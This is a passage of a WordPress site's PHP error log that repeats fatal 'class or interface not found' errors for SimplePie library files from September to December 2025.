  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-Sep-2025 15:03:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-Sep-2025 15:03:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-Sep-2025 15:03:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-Sep-2025 15:03:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-Sep-2025 15:03:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[14-Sep-2025 15:12:27 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-Sep-2025 15:12:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[14-Sep-2025 15:12:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[14-Sep-2025 15:12:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[14-Sep-2025 15:12:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[14-Sep-2025 15:12:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[18-Sep-2025 16:55:01 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[18-Sep-2025 16:55:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[18-Sep-2025 16:55:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[18-Sep-2025 16:55:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[18-Sep-2025 16:55:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[18-Sep-2025 16:55:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[18-Sep-2025 17:08:40 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[18-Sep-2025 17:08:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[18-Sep-2025 17:08:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[18-Sep-2025 17:08:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[18-Sep-2025 17:09:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[18-Sep-2025 17:09:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[19-Sep-2025 06:25:38 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[19-Sep-2025 06:25:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[19-Sep-2025 06:25:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[19-Sep-2025 06:25:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[19-Sep-2025 06:25:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[19-Sep-2025 06:26:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[19-Sep-2025 06:40:58 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[19-Sep-2025 06:41:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[19-Sep-2025 06:41:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[19-Sep-2025 06:41:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[19-Sep-2025 06:41:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[19-Sep-2025 06:41:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[22-Sep-2025 12:33:11 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[22-Sep-2025 12:33:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[22-Sep-2025 12:33:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[22-Sep-2025 12:33:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[22-Sep-2025 12:33:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[22-Sep-2025 12:33:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[22-Sep-2025 12:51:12 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[22-Sep-2025 12:51:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[22-Sep-2025 12:51:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[22-Sep-2025 12:51:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[22-Sep-2025 12:51:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[22-Sep-2025 12:51:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[25-Sep-2025 21:52:43 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[25-Sep-2025 21:52:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[25-Sep-2025 21:52:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[25-Sep-2025 21:52:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[25-Sep-2025 21:52:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[25-Sep-2025 21:52:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[25-Sep-2025 22:06:07 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[25-Sep-2025 22:06:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[25-Sep-2025 22:06:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[25-Sep-2025 22:06:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[25-Sep-2025 22:06:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[25-Sep-2025 22:06:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[02-Oct-2025 10:37:00 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[02-Oct-2025 10:37:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[02-Oct-2025 10:37:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[02-Oct-2025 10:37:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[02-Oct-2025 10:37:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Oct-2025 10:37:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[02-Oct-2025 10:45:18 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[02-Oct-2025 10:45:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[02-Oct-2025 10:45:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[02-Oct-2025 10:45:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[02-Oct-2025 10:45:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Oct-2025 10:45:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 08:25:00 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[02-Nov-2025 08:25:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 08:25:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 08:25:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 08:25:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 08:25:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 08:34:47 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[02-Nov-2025 08:34:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 08:34:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 08:35:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 08:35:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 08:35:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[06-Dec-2025 18:39:45 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[06-Dec-2025 18:39:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[06-Dec-2025 18:39:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[06-Dec-2025 18:40:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[06-Dec-2025 18:40:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[06-Dec-2025 18:40:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[06-Dec-2025 18:53:00 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[06-Dec-2025 18:53:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 57
[06-Dec-2025 18:53:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 55
[06-Dec-2025 18:53:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 58
[06-Dec-2025 18:53:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 63
[06-Dec-2025 18:53:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 57
[23-Dec-2025 11:32:49 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[23-Dec-2025 11:32:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[23-Dec-2025 11:33:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[23-Dec-2025 11:33:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
